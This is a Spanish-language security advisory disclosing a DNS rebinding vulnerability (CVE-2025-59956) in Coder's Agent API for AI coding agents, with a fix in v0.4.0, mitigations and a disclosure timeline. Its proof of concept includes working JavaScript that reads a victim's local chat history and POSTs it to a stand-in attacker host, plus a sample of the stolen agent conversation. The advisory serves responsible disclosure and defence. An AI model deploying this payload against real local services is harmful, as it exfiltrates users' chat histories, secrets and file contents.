La Agent API de Coder expone el historial de chat de los usuarios mediante un ataque de DNS rebinding
Autor: Evan Harris
Componente afectado: Agent API de Coder
CVE: CVE-2025-59956
Puntuación CVSS 3.1: 6.5 (Media) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Resumen
La Agent API de Coder es una API HTTP de código abierto para Claude Code, Goose, Aider, Gemini, Amp y Codex.
MCPSec encontró una vulnerabilidad de DNS rebinding en la Agent API que permite a atacantes remotos exfiltrar el historial de mensajes de Claude Code de un usuario.
Coder solucionó este problema en la versión v0.4.0. Los usuarios de la Agent API deben actualizar a esta versión o posterior.
Impacto
Los atacantes obtienen acceso GET completo al endpoint /messages servido por la Agent API.
Esto permite la exfiltración no autorizada de datos sensibles del usuario, en concreto el historial de mensajes local, que puede incluir claves secretas, contenido del sistema de archivos y propiedad intelectual en la que el usuario esté trabajando localmente.
El DNS rebinding puede producirse en cuestión de segundos una vez establecida la conexión con un servidor web malicioso.
Prueba de concepto
Partamos de las siguientes suposiciones:
- La máquina de la víctima ejecuta la Agent API.
- La víctima navega a un sitio web malicioso.
- El sitio web ejecuta un ataque de DNS rebinding para manipular el navegador de la víctima y hacer que interactúe con la Agent API vulnerable en nombre del atacante.
Una vez completado el DNS rebinding, un atacante puede consumir el endpoint /messages servido localmente. Todo el historial de chat de una víctima con la Agent API puede exfiltrarse al servidor de un atacante.
MCPSec realizó un ataque de prueba de concepto de la siguiente manera:
-
Desplegar una aplicación de DNS rebinding (por ejemplo, Singularity of Origin).
-
Construir un payload servido por un sitio web malicioso para obtener y exfiltrar datos.
Este código JavaScript, servido desde el sitio malicioso, obtiene el historial de mensajes y lo envía al atacante.
const AgentAPI = () => {
function attack(headers, cookie, body) {
fetch('http://localhost:3284/messages', {
method: 'GET',
mode: "cors",
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal'
response.json().then(victimMessageHistory => {
fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(victimMessageHistory)
}).then(r => {
console.log("attacker server response", r)
}).catch(e => {
console.error('failed to post', e)
})
}).catch(e => {
console.error('failed to parse response ', e)
})
}).catch(e => {
console.error("failed to get messages", e)
})
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
let controller = new AbortController();
let signal = controller.signal;
return timeout(1000, fetch(`http://localhost:3284/docs`, {
mode: 'no-cors',
credentials: 'omit',
signal
}), controller)
.then(response => {
return true;
})
.catch(e => {
return (false);
})
}
return {
attack,
isService
}
}
Registry["AgentAPI"] = AgentAPI();
El endpoint /messages se sirve en la máquina local de la víctima y responde con su historial de chat cuando se consulta.
- El atacante debe ejecutar un servidor de recopilación de datos que reciba una petición POST. El contenido de la petición POST debe ser la respuesta del endpoint /messages de la Agent API de la víctima.
En la máquina de la víctima, se indicó a la Agent API que examinara el sistema de archivos local. Esto fue lo que se envió al servidor de recopilación de datos del atacante:
A continuación se muestra un ejemplo de los datos JSON robados a una víctima que había preguntado al agente sobre su sistema de archivos local.
{
"$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
"messages": [{
"id": 0,
"content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
"role": "agent",
"time": "2025-07-25T11:20:04.988043205+02:00"
}, {
"id": 1,
"content": "Hello, agent!",
"role": "user",
"time": "2025-07-25T13:11:16.699082236+02:00"
}, {
"id": 3,
"content": "tell me about my filessytem",
"role": "user",
"time": "2025-07-25T13:14:51.120102556+02:00"
}, {
"id": 4,
"content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
"role": "agent",
"time": "2025-07-25T13:15:10.681040365+02:00"
}]
}
Mitigaciones recomendadas
Para usuarios (inmediato)
- Actualice de inmediato a la versión v0.4.0 o posterior de la Agent API. Esta versión contiene la corrección de la vulnerabilidad.
Para desarrolladores (a largo plazo)
- Implemente una validación robusta del encabezado Host para todas las APIs HTTP servidas localmente, con el fin de prevenir el DNS rebinding.
- Implemente protección CSRF para prevenir otras formas de ataques de origen cruzado.
- Añada advertencias de seguridad en la documentación de las herramientas que exponen servicios de red locales.
Esta vulnerabilidad se notificó al equipo de Coder mediante prácticas de divulgación responsable. Coder respondió con rapidez para corregir el problema.
Cronología de la divulgación
- 2025-07-25: Informe inicial de la vulnerabilidad enviado a Coder.
- 2025-07-25: Coder confirma la recepción del informe.
- 2025-07-29: Coder indica que pudo reproducir y validar el escenario del ataque.
- 2025-08-13: La vulnerabilidad fue corregida.
- 2025-08-21: Coder decidió otorgar una recompensa de seguridad por el informe.
- 2025-09-09: Se acordó una fecha de publicación del aviso mutuamente aceptable.
- 2025-09-19: Aviso de seguridad publicado.
Conclusión
La vulnerabilidad de DNS rebinding en la Agent API de Coder pone de manifiesto un reto de seguridad crítico para el creciente ecosistema de herramientas de desarrollo locales impulsadas por IA. Aunque estas herramientas ofrecen capacidades potentes, deben construirse con una mentalidad centrada en la seguridad para protegerse frente a amenazas basadas en la web.
Un reconocimiento al equipo de Coder por su respuesta rápida y profesional al corregir esta vulnerabilidad. Todos los usuarios de la Agent API deben actualizar a la última versión para asegurarse de estar protegidos.